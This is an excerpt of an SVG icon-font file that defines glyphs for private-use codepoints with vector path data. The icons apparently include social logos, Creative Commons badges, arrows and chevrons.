<glyph unicode="&#xe333;" d="M 423.584,253.162c-22.534-129.293-148.4-238.784-186.256-263.782c-37.878-24.998-72.397,10.013-84.941,36.512
	C 138.051,56.064, 95.066,219.808, 83.798,233.338C 72.554,246.934, 38.774,219.808, 38.774,219.808L 22.4,241.67c0,0, 68.589,83.44, 120.781,93.856
	c 55.328,11.043, 55.238-86.554, 68.544-140.739c 12.88-52.438, 21.526-82.454, 32.749-82.454c 11.267,0, 32.749,29.254, 56.291,74.077
	c 23.587,44.867-1.008,84.47-47.085,56.314C 272.093,355.35, 446.118,382.432, 423.584,253.162z"  />
<glyph unicode="&#xe334;" d="M 224,375.040C 105.235,375.040, 8.96,278.765, 8.96,160S 105.235-55.040, 224-55.040S 439.040,41.235, 439.040,160S 342.787,375.040, 224,375.040z M 166.544,114.73
	c-24.528,0-44.397,20.25-44.397,45.27c0,25.021, 19.869,45.27, 44.397,45.27c 24.528,0, 44.419-20.25, 44.419-45.27
	C 210.941,134.979, 191.072,114.73, 166.544,114.73z M 281.434,114.73c-24.55,0-44.419,20.25-44.419,45.27c0,25.021, 19.869,45.27, 44.419,45.27
	c 24.506,0, 44.397-20.25, 44.397-45.27C 325.853,134.979, 305.939,114.73, 281.434,114.73z"  />
<glyph unicode="&#xe335;" d="M 110.275,70.4C 61.734,70.4, 22.4,110.474, 22.4,160s 39.334,89.6, 87.875,89.6c 48.541,0, 87.898-40.096, 87.898-89.6S 158.816,70.4, 110.275,70.4z M 337.702,70.4
	c-48.563,0-87.942,40.074-87.942,89.6s 39.379,89.6, 87.942,89.6C 386.221,249.6, 425.6,209.504, 425.6,160S 386.221,70.4, 337.702,70.4z"  />
<glyph unicode="&#xe336;" d="M 224.314,161.142c-0.112,0-0.224,0-0.314,0c-0.134,0-0.224,0-0.336,0c-26.678,0-50.198,6.765-64.109-6.026
	c-8.333-7.661-11.827-16.867-11.827-26.79c0-41.507, 33.242-46.592, 75.936-46.592l 0.627,0 c 42.694,0, 75.936,5.107, 75.936,46.592
	c0,9.923-3.494,19.13-11.85,26.79C 274.534,167.907, 250.992,161.142, 224.314,161.142z M 188.026,104.448c-8.131,0-14.717,9.117-14.717,20.362
	s 6.586,20.362, 14.717,20.362s 14.717-9.117, 14.717-20.362S 196.134,104.448, 188.026,104.448z M 259.952,104.448c-8.086,0-14.694,9.117-14.694,20.362
	s 6.586,20.362, 14.694,20.362c 8.131,0, 14.739-9.117, 14.739-20.362S 268.106,104.448, 259.952,104.448z M 224,375.040C 105.235,375.040, 8.96,278.765, 8.96,160
	S 105.235-55.040, 224-55.040c 118.72,0, 215.018,96.275, 215.018,215.040S 342.742,375.040, 224,375.040z M 243.6,71.744c-3.853,0-11.514,0-19.6-0.022
	C 215.891,71.744, 208.23,71.744, 204.4,71.744c-17.046,0-84.515,1.322-84.515,82.634c0,18.704, 6.406,32.39, 16.912,43.792
	C 135.117,202.314, 135.027,225.811, 143.965,248.256c0,0, 20.518-2.24, 51.52-23.52c 6.496,1.792, 17.494,2.688, 28.515,2.688c 10.976,0, 21.997-0.896, 28.515-2.688
	c 31.024,21.28, 51.498,23.52, 51.498,23.52c 8.915-22.467, 8.87-45.965, 7.168-50.086c 10.506-11.402, 16.934-25.088, 16.934-43.792
	C 328.115,73.043, 260.669,71.744, 243.6,71.744z"  />
<glyph unicode="&#xe337;" d="M 295.232,130.656c-16.083,0-29.12-18.054-29.12-40.298c0-22.266, 13.037-40.32, 29.12-40.32s 29.12,18.054, 29.12,40.32
	C 324.33,112.624, 311.293,130.656, 295.232,130.656z M 396.614,235.578c 3.315,8.176, 3.472,54.656-14.202,99.142c0,0-40.589-4.435-101.965-46.57
	c-12.88,3.562-34.675,5.331-56.448,5.331c-21.795,0-43.568-1.792-56.47-5.331C 106.176,330.285, 65.61,334.72, 65.61,334.72
	C 47.936,290.234, 48.070,243.754, 51.408,235.578C 30.621,212.998, 17.92,185.894, 17.92,148.867c0-160.966, 133.549-163.542, 167.261-163.542
	c 7.638,0, 22.826-0.022, 38.842-0.045c 16.016,0.022, 31.203,0.045, 38.797,0.045c 33.734,0, 167.261,2.576, 167.261,163.542
	C 430.080,185.894, 417.402,212.998, 396.614,235.578z M 224.627,5.104L 223.395,5.104 c-84.493,0-150.304,10.080-150.304,92.198c0,19.667, 6.966,37.923, 23.43,53.066
	c 27.53,25.245, 74.054,11.872, 126.874,11.872c 0.202,0, 0.426,0, 0.627,0.022c 0.224,0, 0.426-0.022, 0.605-0.022c 52.819,0, 99.366,13.373, 126.874-11.872
	c 16.464-15.142, 23.408-33.398, 23.408-53.066C 374.909,15.184, 309.142,5.104, 224.627,5.104z M 152.79,130.656c-16.083,0-29.12-18.054-29.12-40.298
	c0-22.266, 13.037-40.32, 29.12-40.32s 29.12,18.054, 29.12,40.32C 181.91,112.624, 168.874,130.656, 152.79,130.656z"  />
<glyph unicode="&#xe338;" d="M 224,361.6c-164.349,0-201.6-37.274-201.6-201.6c0-164.326, 37.251-201.6, 201.6-201.6s 201.6,37.274, 201.6,201.6C 425.6,324.326, 388.349,361.6, 224,361.6z"  />
<glyph unicode="&#xe339;" d="M 305.984,110.989c 28.358,0.739, 53.85,15.702, 68.902,41.754c 23.722,41.082, 10.282,90.63-35.392,116.995l-28.605,16.531l 47.914,83.014L 333.29,384
		l-92.624-160.384c-7.213,17.786-21.034,33.802-41.059,45.338L 145.466,300.246L 61.6,154.982l 54.141-31.27c 20.026-11.558, 40.835-15.411, 59.92-12.701
		L 83.104-49.261L 108.64-64l 47.936,82.992l 28.627-16.509c 45.674-26.365, 95.558-12.835, 119.258,28.269C 319.469,56.781, 319.558,86.214, 305.984,110.989z
		 M 326.122,246.486c 30.486-17.606, 38.326-50.064, 21.795-78.691c-16.531-28.65-48.339-37.677-78.848-20.070L 240.8,164.032
		c 0.336,0.806, 0.605,1.613, 0.896,2.419l 55.776,96.589L 326.122,246.486z M 129.158,146.963L 100.531,163.494l 57.008,98.784l 28.65-16.531
		c 30.486-17.606, 38.304-50.064, 21.795-78.714C 191.453,138.384, 159.667,129.334, 129.158,146.963z M 198.621,25.712l-28.65,16.531l 55.843,96.678
		c 0.515,0.627, 1.053,1.232, 1.546,1.882l 28.269-16.33c 30.531-17.584, 38.326-50.064, 21.84-78.714C 260.915,17.133, 229.107,8.106, 198.621,25.712z
		"  />
<glyph unicode="&#xe33a;" d="M 364.538,156.147l-42.627,17.696L 321.91,227.2 l-131.712,54.544L 131.846,256.029l0-60.749 L 132.205,194.944L 80.752,173.44l0-55.306 l 54.902-23.789l 55.686,23.027
	l 3.83-1.523l 112.515-46.48l 2.666-0.762l 2.33,0.762l 52.214,22.266l 3.83,1.949l0,60.682 L 364.538,156.147z M 303.475,85.52l-0.381,0.358
	l0-0.358 L 204.422,126.176L 204.422,165.376 l 98.672-40.387l0-1.523 l 0.381,0 L 303.475,85.52 z M 310.016,135.427L 278.902,148.8l 33.802,14.291l 31.875-13.462L 310.016,135.427z
	 M 355.309,102.387l-38.394-16.509l0,37.61 l 38.394,16.173L 355.309,102.387 z M 224,375.040c-118.765,0-215.040-96.275-215.040-215.040s 96.275-215.040, 215.040-215.040s 215.040,96.275, 215.040,215.040
	S 342.765,375.040, 224,375.040z M 224-15.616c-96.992,0-175.616,78.624-175.616,175.616S 127.008,335.616, 224,335.616s 175.616-78.624, 175.616-175.616S 320.992-15.616, 224-15.616z"  />
<glyph unicode="&#xe33b;" d="M 311.942,221.421l-46.861,0 L 265.082,268.282 c0,3.315-1.142,6.138-3.45,8.467c-2.307,2.285-5.13,3.45-8.445,3.45L 134.915,280.198 
	C 131.846,279.683, 129.27,278.317, 127.254,276.166C 125.194,273.994, 124.163,271.373, 124.163,268.282l0-158.189 c0-3.315, 1.165-6.138, 3.45-8.445
	s 5.13-3.45, 8.445-3.45l 46.861,0 l0-46.861 c0-3.315, 1.142-6.138, 3.45-8.445c 2.307-2.307, 5.13-3.45, 8.445-3.45l 117.13,0 
	c 3.315,0, 6.138,1.165, 8.445,3.45s 3.45,5.13, 3.45,8.445L 323.837,209.526 c0,3.315-1.165,6.138-3.45,8.445
	C 318.080,220.278, 315.258,221.421, 311.942,221.421z M 193.29,221.421C 190.467,220.928, 188.048,219.562, 185.987,217.389S 182.918,212.618, 182.918,209.526l0-87.92 L 147.594,121.606 
	L 147.594,256.387 l 94.080,0 l0-34.966 L 193.29,221.421 z M 300.406,63.232l-94.080,0 L 206.326,198.013 l 94.080,0 L 300.406,63.232 z M 224,375.040c-118.765,0-215.040-96.275-215.040-215.040s 96.275-215.040, 215.040-215.040
	s 215.040,96.275, 215.040,215.040S 342.765,375.040, 224,375.040z M 224-15.616c-96.992,0-175.616,78.624-175.616,175.616S 127.008,335.616, 224,335.616s 175.616-78.624, 175.616-175.616
	S 320.992-15.616, 224-15.616z"  />
<glyph unicode="&#xe33c;" d="M 224,283.76c-70.986,0-88.838-66.976-88.838-123.76S 153.014,36.218, 224,36.218c 71.008,0, 88.861,66.998, 88.861,123.782S 295.008,283.76, 224,283.76z
	 M 185.763,160c0,24.998, 1.725,77.101, 38.237,77.101c 2.89,0, 5.51-0.47, 7.974-1.075c 5.13-4.39, 7.616-10.483, 2.71-18.973l-47.264-86.89
	C 185.965,141.162, 185.763,151.981, 185.763,160z M 224,82.922c-2.867,0-5.51,0.291-7.952,0.896c-0.47,0.134-0.918,0.291-1.389,0.448
	c-0.739,0.246-1.546,0.47-2.262,0.762c-8.109,3.45-13.238,9.722-5.869,20.787l 52.842,91.258c 2.509-13.35, 2.867-27.283, 2.867-37.050
	C 262.259,134.979, 260.512,82.922, 224,82.922z M 224,375.040c-118.765,0-215.040-96.275-215.040-215.040s 96.275-215.040, 215.040-215.040s 215.040,96.275, 215.040,215.040S 342.765,375.040, 224,375.040
	z M 224-15.616c-96.992,0-175.616,78.624-175.616,175.616S 127.008,335.616, 224,335.616s 175.616-78.624, 175.616-175.616S 320.992-15.616, 224-15.616z"  />
<glyph unicode="&#xe33d;" d="M 224,375.040c-118.765,0-215.040-96.275-215.040-215.040s 96.275-215.040, 215.040-215.040s 215.040,96.275, 215.040,215.040S 342.765,375.040, 224,375.040z M 57.859,216.896l 69.194-30.598
	c-1.747-8.893-2.688-18.166-2.688-27.686c0-85.859, 64.064-110.029, 104.384-110.029c 23.789,0, 44.33,7.661, 60.435,18.928
	c 3.069,2.195, 5.846,4.39, 8.4,6.653l-31.338,38.080c-0.918-1.053-1.882-2.038-2.867-2.934c-12.208-11.581-25.603-11.581-28.582-11.581
	c-32.502,0-46.256,33.958-46.682,61.533l 189.75-83.978c-29.904-54.186-87.584-90.899-153.843-90.899c-96.992,0-175.616,78.624-175.616,175.616
	C 48.384,179.936, 51.766,199.043, 57.859,216.896z M 197.389,201.53C 204.422,214.253, 216.070,224.288, 232.758,224.288c 9.699,0, 17.36-3.226, 23.408-7.258
	c 2.509-1.814, 4.682-3.629, 6.518-5.443l 35.011,36.019c-23.52,20.227-50.243,23.834-67.738,23.834c-41.082,0-70.851-18.39-88.010-45.36
	L 76.406,255.11C 107.677,303.517, 162.064,335.616, 224,335.616c 96.992,0, 175.616-78.624, 175.616-175.616c0-15.68-2.083-30.867-5.936-45.293L 197.389,201.53z"  />
<glyph unicode="&#xe33e;" d="M 145.869,173.821l 156.307,0 L 302.176,210.691 L 145.869,210.691 L 145.869,173.821 z M 145.869,104.694l 156.307,0 l0,36.87 L 145.869,141.565 L 145.869,104.694 z M 224,375.040c-118.765,0-215.040-96.275-215.040-215.040
	s 96.275-215.040, 215.040-215.040s 215.040,96.275, 215.040,215.040S 342.765,375.040, 224,375.040z M 224-15.616c-96.992,0-175.616,78.624-175.616,175.616S 127.008,335.616, 224,335.616
	s 175.616-78.624, 175.616-175.616S 320.992-15.616, 224-15.616z"  />
<glyph unicode="&#xe33f;" d="M 222.88,273.277c-24.595,0-45.45-7.213-62.608-21.683s-27.776-34.899-31.875-61.242L 111.53,190.352 l 42.605-42.627l 42.627,42.627L 181.014,190.352 
	c 3.584,25.334, 19.712,37.99, 48.384,37.99c 15.859,0, 28.045-5.936, 36.467-17.853c 8.467-11.894, 12.678-29.254, 12.678-52.013
	c0-21.773-4.614-39.178-13.821-52.214c-9.229-13.059-21.392-19.6-36.467-19.6c-30.24,0-45.987,13.059-47.242,39.178L 126.874,125.84 
	c 3.584-26.88, 14.202-47.622, 31.875-62.205c 17.651-14.582, 38.662-21.885, 62.966-21.885c 33.062,0, 59.92,10.931, 80.662,32.816
	c 20.742,21.907, 31.114,49.347, 31.114,82.387c0,34.048-9.99,61.958-29.949,83.686C 283.539,262.39, 256.659,273.277, 222.88,273.277z M 224,375.040
	c-118.765,0-215.040-96.275-215.040-215.040s 96.275-215.040, 215.040-215.040s 215.040,96.275, 215.040,215.040S 342.765,375.040, 224,375.040z M 224-15.616c-96.992,0-175.616,78.624-175.616,175.616
	S 127.008,335.616, 224,335.616s 175.616-78.624, 175.616-175.616S 320.992-15.616, 224-15.616z"  />
<glyph unicode="&#xe340;" d="M 224,375.040c-118.765,0-215.040-96.275-215.040-215.040s 96.275-215.040, 215.040-215.040s 215.040,96.275, 215.040,215.040S 342.765,375.040, 224,375.040z M 56.224,211.968l 109.469-48.742L 141.456,163.226 
	l0-33.488 l 50.355,0 l 4.928-10.192l0-16.24 L 141.456,103.306 l0-33.466 l 55.283,0 l0-48.608 l 53.514,0 l0,48.608 l 55.664,0 l0,30.934 l 68.925-30.688C 344.198,18.768, 288.109-15.616, 224-15.616
	c-96.992,0-175.616,78.624-175.616,175.616C 48.384,178.099, 51.117,195.549, 56.224,211.968z M 250.275,103.328l0,16.24 l 2.509,4.883l 47.443-21.101L 250.275,103.35 z
	 M 305.917,147.837L 305.917,163.248 l-33.466,0 l 54.611,100.576l-57.075,0 l-37.587-83.238L 212.419,189.456L 178.080,263.824L 121.005,263.824 L 144.704,219.629L 73.875,251.146
	C 104.698,301.792, 160.384,335.616, 224,335.616c 96.992,0, 175.616-78.624, 175.616-175.616c0-17.584-2.621-34.541-7.414-50.557L 305.917,147.837z"  />
<glyph unicode="&#xe341;" d="M 224,375.040c-118.765,0-215.040-96.275-215.040-215.040s 96.275-215.040, 215.040-215.040s 215.040,96.275, 215.040,215.040S 342.765,375.040, 224,375.040z M 57.859,216.896l 56.358-24.931L 110.096,191.965 
	l0-25.558 l 20.16,0 c0-3.606-0.358-7.19-0.358-10.797l0-6.115 L 110.096,149.494 l0-25.558 L 133.504,123.936 c 3.248-19.107, 10.438-34.563, 20.138-46.816
	c 20.16-26.634, 52.573-41.037, 87.853-41.037c 23.027,0, 43.904,6.854, 56.157,13.686l-8.646,39.939c-7.571-3.965-24.483-9.341-41.037-9.341
	c-18.010,0-34.922,5.376-46.435,18.346c-5.398,6.093-9.363,14.403-11.85,25.2l 78.243,0 l 109.894-48.653C 347.917,21.098, 290.259-15.616, 224-15.616
	c-96.992,0-175.616,78.624-175.616,175.616C 48.384,179.936, 51.766,199.043, 57.859,216.896z M 276.797,166.406l 3.226,0 L 280.022,191.965 L 219.050,191.965 L 194.32,202.918
	C 196.448,207.712, 198.957,211.99, 201.914,215.35C 213.069,229.037, 228.906,234.816, 246.176,234.816c 15.837,0, 30.576-4.682, 39.939-8.669l 10.080,41.059
	c-12.97,5.757-32.054,10.774-53.984,10.774c-33.846,0-62.63-13.664-83.149-36.714c-4.57-5.264-8.512-11.178-12.096-17.405l-70.56,31.226
	C 107.677,303.517, 162.064,335.616, 224,335.616c 96.992,0, 175.616-78.624, 175.616-175.616c0-15.68-2.083-30.867-5.936-45.315L 276.797,166.406z"  />
<glyph unicode="&#xe342;" d="M 224,375.040c-118.765,0-215.040-96.275-215.040-215.040s 96.275-215.040, 215.040-215.040s 215.040,96.275, 215.040,215.040S 342.765,375.040, 224,375.040z M 58.128,217.658l 109.088-48.854
	l 34.16-14.963l 25.357-11.536l 20.742-8.848c 3.853-3.315, 5.779-7.661, 5.779-13.037c0-7.706-2.643-13.194-7.885-16.509
	c-5.242-3.315-11.603-4.995-19.018-4.995c-17.942,0-33.936,6.518-48.026,19.578l-29.546-29.949c 19.712-16.89, 41.485-25.491, 65.274-25.715l0-33.040 
	l 24.954,0 l0,33.040 c 14.829,1.277, 27.709,6.182, 38.595,14.784c 10.864,8.579, 17.741,19.622, 20.541,33.197l 79.722-35.504
	C 347.984,21.12, 290.282-15.616, 224-15.616c-96.992,0-175.616,78.624-175.616,175.616C 48.384,180.205, 51.834,199.603, 58.128,217.658z M 284.726,163.069l-34.563,15.366
	L 231.347,186.88L 204.064,199.155c-1.277,1.792-1.904,3.584-1.904,5.376c0,6.138, 2.621,10.506, 7.885,13.059c 5.219,2.554, 11.178,3.853, 17.853,3.853
	c 12.544,0, 24.819-4.234, 36.87-12.678l 28.045,28.806c-16.15,12.298-34.070,18.95-53.76,19.981L 239.053,290.547 L 214.077,290.547 l0-33.018 
	C 200.749,256.768, 189.101,252.96, 179.11,246.218C 169.142,239.408, 162.355,230.403, 158.771,219.136l-81.872,36.736C 108.237,303.853, 162.4,335.616, 224,335.616
	c 96.992,0, 175.616-78.624, 175.616-175.616c0-15.747-2.106-31.002-6.003-45.494L 284.726,163.069z"  />
<glyph unicode="&#xe343;" d="M 224,238.736c 19.981,0, 29.971,9.968, 29.971,29.926c0,20.227-9.99,30.33-29.971,30.33S 194.051,288.89, 194.051,268.662
		C 194.051,248.704, 204.019,238.736, 224,238.736zM 268.173,227.178L 179.85,227.178 c-3.853,0-7.101-1.344-9.811-4.032s-4.032-5.958-4.032-9.789l0-87.942 l 24.573,0 l0-104.451 l 66.797,0 l0,104.451 l 24.595,0 L 281.971,213.379 
		c0,3.83-1.411,7.078-4.211,9.789C 274.938,225.834, 271.757,227.178, 268.173,227.178zM 224,375.040c-118.765,0-215.040-96.275-215.040-215.040s 96.275-215.040, 215.040-215.040s 215.040,96.275, 215.040,215.040S 342.765,375.040, 224,375.040z M 224-15.616
	c-96.992,0-175.616,78.624-175.616,175.616S 127.008,335.616, 224,335.616s 175.616-78.624, 175.616-175.616S 320.992-15.616, 224-15.616z"  />
<glyph unicode="&#xe344;" d="M 221.133,375.018C 102.368,373.427, 7.392,275.875, 8.982,157.133c 1.59-118.742, 99.142-213.741, 217.907-212.15c 118.742,1.568, 213.741,99.142, 212.15,217.907
		C 437.45,281.632, 339.853,376.608, 221.133,375.018z M 226.262-9.747c-93.766-1.277-170.778,73.718-172.032,167.485c-1.254,93.766, 73.741,170.778, 167.507,172.032
		c 93.744,1.254, 170.755-73.741, 172.010-167.485S 320.029-8.47, 226.262-9.747z M 171.382,123.555c-9.072,0-15.949,3.315-20.608,9.946
		C 146.093,140.131, 143.786,148.957, 143.786,160c0,24.282, 9.206,36.422, 27.597,36.422c 3.674,0, 7.661-1.232, 11.962-3.674
		c 4.278-2.464, 7.907-6.765, 10.864-12.88l 27.574,14.358C 210.762,214.096, 192.461,224.042, 166.947,224.042c-17.427,0-31.808-5.757-43.232-17.293
		C 112.314,195.213, 106.602,179.622, 106.602,160c0-20.115, 5.645-35.84, 16.934-47.13c 11.267-11.29, 26.141-16.934, 44.531-16.934
		c 11.514,0, 22.064,2.89, 31.629,8.669s 17.069,13.686, 22.467,23.766l-25.402,12.88C 191.856,129.469, 183.389,123.555, 171.382,123.555z M 290.237,123.555
		c-9.094,0-15.971,3.315-20.608,9.946c-4.682,6.608-6.989,15.456-6.989,26.499c0,24.282, 9.184,36.422, 27.597,36.422
		c 3.942,0, 8.042-1.232, 12.342-3.674c 4.278-2.464, 7.93-6.765, 10.842-12.88l 27.216,14.358c-10.797,19.869-28.918,29.814-54.477,29.814
		c-17.405,0-31.808-5.757-43.21-17.293c-11.424-11.536-17.114-27.104-17.114-46.726c0-20.115, 5.578-35.84, 16.733-47.13
		c 11.178-11.29, 26.096-16.934, 44.733-16.934c 11.29,0, 21.706,2.89, 31.27,8.669c 9.542,5.779, 17.158,13.686, 22.803,23.766l-25.76,12.88
		C 310.71,129.469, 302.266,123.555, 290.237,123.555z"  />
<glyph unicode="&#xe345;" d="M 224,209.28c-27.216,0-49.28-22.064-49.28-49.28s 22.064-49.28, 49.28-49.28s 49.28,22.064, 49.28,49.28S 251.216,209.28, 224,209.28z"  />
<glyph unicode="&#xe346;" d="M 145.6,209.28c-27.216,0-49.28-22.064-49.28-49.28s 22.064-49.28, 49.28-49.28s 49.28,22.064, 49.28,49.28S 172.816,209.28, 145.6,209.28z M 302.4,209.28
	c-27.216,0-49.28-22.064-49.28-49.28s 22.064-49.28, 49.28-49.28s 49.28,22.064, 49.28,49.28S 329.616,209.28, 302.4,209.28z"  />
<glyph unicode="&#xe347;" d="M 67.2,209.28c-27.216,0-49.28-22.064-49.28-49.28c0-27.216, 22.064-49.28, 49.28-49.28s 49.28,22.064, 49.28,49.28C 116.48,187.216, 94.416,209.28, 67.2,209.28z M 224,209.28
		c-27.216,0-49.28-22.064-49.28-49.28c0-27.216, 22.064-49.28, 49.28-49.28s 49.258,22.064, 49.258,49.28C 273.258,187.216, 251.216,209.28, 224,209.28z M 380.8,209.28
		c-27.216,0-49.28-22.064-49.28-49.28c0-27.216, 22.064-49.28, 49.28-49.28s 49.28,22.064, 49.28,49.28C 430.080,187.216, 408.016,209.28, 380.8,209.28z"  />
<glyph unicode="&#xe348;" d="M 224,384L 120.96,220.48l 206.058,0L 224,384z M 224.022-64l 103.018,163.52L 120.96,99.542L 224.022-64z"  />
<glyph unicode="&#xe349;" d="M 336.403,48L 336.381,120.307L 4.48,120.285L 4.48,199.872L 336.403,199.872L 336.381,272L 443.52,160 z"  />
<glyph unicode="&#xe34a;" d="M 336,272.381L 263.693,272.381L 263.715-59.52L 184.128-59.52L 184.128,272.381L 112,272.381L 224,379.52 z"  />
<glyph unicode="&#xe34b;" d="M 336,47.597L 263.693,47.619L 263.715,379.52L 184.128,379.52L 184.128,47.597L 112,47.619L 224-59.52 z"  />
<glyph unicode="&#xe34c;" d="M 111.619,48L 111.642,120.307L 443.52,120.285L 443.52,199.872L 111.619,199.872L 111.642,272L 4.48,160 z"  />
<glyph unicode="&#xe34d;" d="M 125.433-6.163c -6.003-6.070, -6.003-15.859,0-21.93s 15.702-6.070 21.706,0l 175.392,177.117c 6.003,6.070 6.003,15.882,0,21.93
	l -175.392,177.139c -6.003,6.070, -15.702,6.070, -21.706,0s -6.003-15.859,0-21.93L 285.369,160L 125.433-6.163z" />
<glyph unicode="&#xe34e;" d="M 390.163,61.462c 6.070-6.003, 15.882-6.003, 21.93,0c 6.070,6.003, 6.070,15.702,0,21.706l-177.139,175.392
	c-6.048,6.003-15.859,6.003-21.907,0l-177.139-175.392c-6.048-6.003-6.070-15.702,0-21.706s 15.859-6.003, 21.93,0l 166.163,159.958L 390.163,61.462z"  />
<glyph unicode="&#xe34f;" d="M 57.837,258.538c-6.070,6.003-15.882,6.003-21.93,0c-6.048-5.981-6.048-15.702,0-21.706l 177.139-175.392c 6.070-6.003, 15.859-6.003, 21.93,0
	l 177.139,175.392c 6.048,6.003, 6.070,15.702,0,21.706S 396.211,264.541, 390.186,258.56L 224,98.602L 57.837,258.538z"  />
<glyph unicode="&#xe350;" d="M 322.538-6.163c 6.003-6.070, 6.003-15.859,0-21.93s-15.702-6.070-21.706,0l-175.392,177.117c-6.003,6.070-6.003,15.882,0,21.93
	l 175.392,177.139c 6.003,6.070, 15.702,6.070, 21.706,0s 6.003-15.859,0-21.93L 162.602,160L 322.538-6.163z"  />
<glyph unicode="&#xe351;" d="M 170.262,83.437c-6.003-6.070-6.003-15.882,0-21.93c 5.981-6.070, 15.702-6.070, 21.706,0l 85.792,87.517
	c 6.003,6.070, 6.003,15.882,0,21.93l-85.792,87.539c-6.003,6.070-15.702,6.070-21.706,0S 164.259,242.634, 170.24,236.586L 240.598,160L 170.262,83.437z"  />
<glyph unicode="&#xe352;" d="M 147.414,106.262c-6.070-6.003-15.859-6.003-21.93,0c-6.048,6.003-6.070,15.702,0,21.728L 213.024,213.738
	c 6.070,6.003, 15.882,6.003, 21.93,0l 87.539-85.77c 6.070-6.026, 6.070-15.725,0-21.728s-15.859-6.003-21.93,0L 223.978,176.598L 147.414,106.262z"  />
<glyph unicode="&#xe353;" d="M 300.563,213.738c 6.070,6.003, 15.882,6.003, 21.93,0c 6.070-6.003, 6.070-15.702,0-21.706l-87.517-85.792
	c-6.070-6.003-15.882-6.003-21.93,0l-87.539,85.792c-6.048,6.003-6.048,15.702,0,21.706c 6.070,6.003, 15.859,6.003, 21.93,0L 224,143.402
	L 300.563,213.738z"  />
<glyph unicode="&#xe354;" d="M 277.738,83.437c 6.003-6.070, 6.003-15.882,0-21.93c-6.003-6.070-15.702-6.070-21.706,0l-85.792,87.517
	c-6.003,6.070-6.003,15.882,0,21.93l 85.792,87.539c 6.003,6.070, 15.702,6.070, 21.706,0s 6.003-15.859,0-21.93L 207.402,160L 277.738,83.437z"  />
<glyph unicode="&#xe355;" d="M 191.811,282.842c 9.363-9.139, 100.845-105.19, 100.845-105.19C 297.674,172.768, 300.16,166.384, 300.16,160s-2.486-12.768-7.504-17.651
	c0,0-91.482-96.051-100.845-105.168c-9.363-9.139-26.186-9.766-36.198,0c-9.99,9.744-10.774,23.341,0,35.28L 239.568,160L 155.635,247.539
	c-10.774,11.962-9.99,25.558,0,35.302C 165.626,292.586, 182.47,291.981, 191.811,282.842z"  />
<glyph unicode="&#xe356;" d="M 346.819,127.811c-9.117,9.363-105.168,100.845-105.168,100.845C 236.768,233.651, 230.384,236.16, 224,236.16c-6.406,0-12.79-2.509-17.651-7.504
	c0,0-96.051-91.482-105.19-100.845c-9.117-9.363-9.744-26.208,0-36.198c 9.766-9.968, 23.363-10.774, 35.302,0L 224,175.546l 87.517-83.933
	c 11.962-10.774, 25.581-9.968, 35.302,0C 356.586,101.626, 355.981,118.47, 346.819,127.811z"  />
<glyph unicode="&#xe357;" d="M 346.819,192.189c-9.117-9.363-105.168-100.867-105.168-100.867C 236.768,86.326, 230.384,83.84, 224,83.84c-6.406,0-12.79,2.486-17.651,7.482
	c0,0-96.051,91.504-105.19,100.867c-9.117,9.363-9.744,26.186,0,36.198c 9.766,9.99, 23.363,10.774, 35.302,0L 224,144.432l 87.517,83.933
	c 11.962,10.774, 25.581,9.99, 35.302,0C 356.586,218.374, 355.981,201.53, 346.819,192.189z"  />
<glyph unicode="&#xe358;" d="M 256.189,282.842c-9.363-9.139-100.845-105.19-100.845-105.19C 150.349,172.768, 147.862,166.384, 147.862,160s 2.486-12.768, 7.482-17.651
	c0,0, 91.482-96.051, 100.845-105.168c 9.363-9.139, 26.208-9.766, 36.198,0c 9.968,9.744, 10.752,23.341-0.022,35.28L 208.432,160l 83.933,87.539
	c 10.774,11.962, 9.99,25.558, 0.022,35.302C 282.374,292.586, 265.53,291.981, 256.189,282.842z"  />
<glyph unicode="&#xe359;" d="M 134.422,263.040L 134.4,56.96L 313.6,160 z"  />
<glyph unicode="&#xe35a;" d="M 120.96,70.4L 327.040,70.4L 223.978,249.6 z"  />
<glyph unicode="&#xe35b;" d="M 327.040,249.578L 120.96,249.6L 224,70.4 z"  />
<glyph unicode="&#xe35c;" d="M 313.578,263.040L 313.6,56.96L 134.4,160 z"  />
<glyph unicode="&#xe35d;" d="M 17.92,160c0-113.814, 92.288-206.080, 206.080-206.080c 113.814,0, 206.080,92.266, 206.080,206.080C 430.080,273.814, 337.814,366.080, 224,366.080C 110.186,366.080, 17.92,273.814, 17.92,160z
		 M 385.28,160c0-89.062-72.218-161.28-161.28-161.28S 62.72,70.915, 62.72,160C 62.72,249.085, 134.915,321.28, 224,321.28S 385.28,249.085, 385.28,160z M 137.76,200.32l0-80.64 l 91.616,0 l0-50.4 
		L 314.72,160l-85.344,90.72L 229.376,200.32 L 137.76,200.32 z"  />
<glyph unicode="&#xe35e;" d="M 224.022-46.080c 113.814,0, 206.058,92.266, 206.058,206.080s-92.243,206.080-206.058,206.080C 110.186,366.080, 17.92,273.814, 17.92,160S 110.186-46.080, 224.022-46.080z
		 M 224.022,321.28c 89.085,0, 161.258-72.218, 161.258-161.28s-72.195-161.28-161.258-161.28C 134.915-1.28, 62.72,70.915, 62.72,160S 134.915,321.28, 224.022,321.28z M 183.68,73.76
		l 80.662,0 L 264.342,165.376 l 50.4,0 l-90.72,85.344L 133.28,165.376L 183.68,165.376 L 183.68,73.76 z"  />
<glyph unicode="&#xe35f;" d="M 224,366.080c-113.814,0-206.080-92.266-206.080-206.080s 92.266-206.080, 206.080-206.080s 206.080,92.266, 206.080,206.080S 337.814,366.080, 224,366.080z M 224-1.28
		c-89.085,0-161.28,72.218-161.28,161.28S 134.915,321.28, 224,321.28s 161.28-72.218, 161.28-161.28S 313.085-1.28, 224-1.28z M 264.32,246.24L 183.68,246.24 l0-91.616 L 133.28,154.624 L 224,69.28
		l 90.72,85.344L 264.32,154.624 L 264.32,246.24 z"  />
<glyph unicode="&#xe360;" d="M 430.080,160c0,113.814-92.266,206.080-206.080,206.080S 17.92,273.814, 17.92,160c0-113.837, 92.266-206.102, 206.080-206.102S 430.080,46.186, 430.080,160z M 62.72,160
		c0,89.062, 72.218,161.28, 161.28,161.28s 161.28-72.218, 161.28-161.28c0-89.085-72.218-161.302-161.28-161.302S 62.72,70.915, 62.72,160z M 310.24,119.68L 310.24,200.32 L 218.624,200.32 L 218.624,250.72 
		L 133.28,160l 85.344-90.72L 218.624,119.68 L 310.24,119.68 z"  />
<glyph unicode="&#xe361;" d="M 224.336,307.84L 224.336,222.093L 67.155,222.115L 67.155,97.75L 224.336,97.75L 224.336,12.16L 394.195,160.022 	z"  />
<glyph unicode="&#xe362;" d="M 371.84,160.336L 286.093,160.314L 286.115,3.155L 161.75,3.155L 161.75,160.336L 76.16,160.314L 224.022,330.195 	z"  />
